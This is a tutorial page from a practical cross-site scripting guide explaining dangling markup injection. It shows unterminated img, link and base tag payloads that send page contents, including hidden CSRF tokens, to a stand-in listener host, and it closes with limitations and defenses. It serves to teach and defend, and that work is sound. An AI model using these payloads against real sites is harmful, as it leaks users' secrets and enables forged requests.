Cross-Site Scripting (XSS): The Complete Practical Guide

Dangling Markup Injection

How to steal page data with HTML injection when script is blocked: unterminated attributes that swallow page content and leak CSRF tokens, no JavaScript needed.

Published

Dangling markup injection is the technique for when you can inject HTML but cannot get JavaScript to run. A strict Content Security Policy or a filter has killed your <script> and your event handlers, so classic XSS is off the table. Dangling markup sidesteps that entirely: it does not execute anything. It abuses the browser's HTML parser to make the page leak its own contents to a server you control.

When you can inject HTML but not script

You confirm you can place tags into the page, but alert(1) never fires. A CSP blocks inline script and the allowed sources give you nothing, or a sanitizer strips scripts and handlers while leaving other tags. This is common on security-conscious apps, and it is exactly where dangling markup earns its place.

Capturing page data with an unterminated attribute

The trick is to open an attribute (usually a resource URL) with a quote and never close it. The browser, parsing forward, treats everything up to the next matching quote in the page as part of your attribute value:

<img src='//listener.example/?leak=

Everything in the page's HTML after your injection, up to the next single quote, gets appended to that URL and sent to your server when the browser tries to load the image. If a secret, a CSRF token, or any sensitive markup sits between your injection point and the next quote, it is now in your logs as a query string.

Stealing anti-CSRF tokens and secrets

The high-value target is usually a hidden token. Pages often render something like:

<input type="hidden" name="csrf" value="SECRET_TOKEN">

If your injection lands before that input and the next quote is the one around SECRET_TOKEN, the dangling src swallows the markup in between and leaks the token's surrounding context to you. Capture enough of the page and you reconstruct the token, which lets you forge a valid state-changing request, the same end goal as the session-based actions in exploiting XSS, reached without any script.

Exfiltrating without JavaScript

Beyond img src, several tags issue requests the moment they parse, which makes them useful dangling vehicles:

<img src='//listener.example/?x=
<link rel=stylesheet href='//listener.example/?x=
<base href='//listener.example/?x=

Each opens a value the parser keeps filling until it finds a terminating quote. Because the request is a plain resource load, no CSP script-src applies to the leak itself, which is the whole point.

Limitations and defenses

Dangling markup is powerful but narrow:

  • It needs a terminating quote or tag downstream, or the capture runs to the end of the document and may not send.
  • It only leaks content between your injection and the terminator, so placement matters.
  • It is exfiltration, not execution, so you steal data rather than take direct actions.
  • Browsers have added mitigations, and a CSP that sets a restrictive base-uri and limits where resources can load blunts several variants.

Defensively, the fix is the same as for any HTML injection: encode output for its context so your tag never forms in the first place, and do not rely on a CSP alone to save a page that reflects untrusted markup.

Dangling markup is the reminder that "no script execution" does not mean "no XSS impact." Practice it against a locked-down target on a free live target.

← Back to Cross-Site Scripting (XSS): The Complete Practical Guide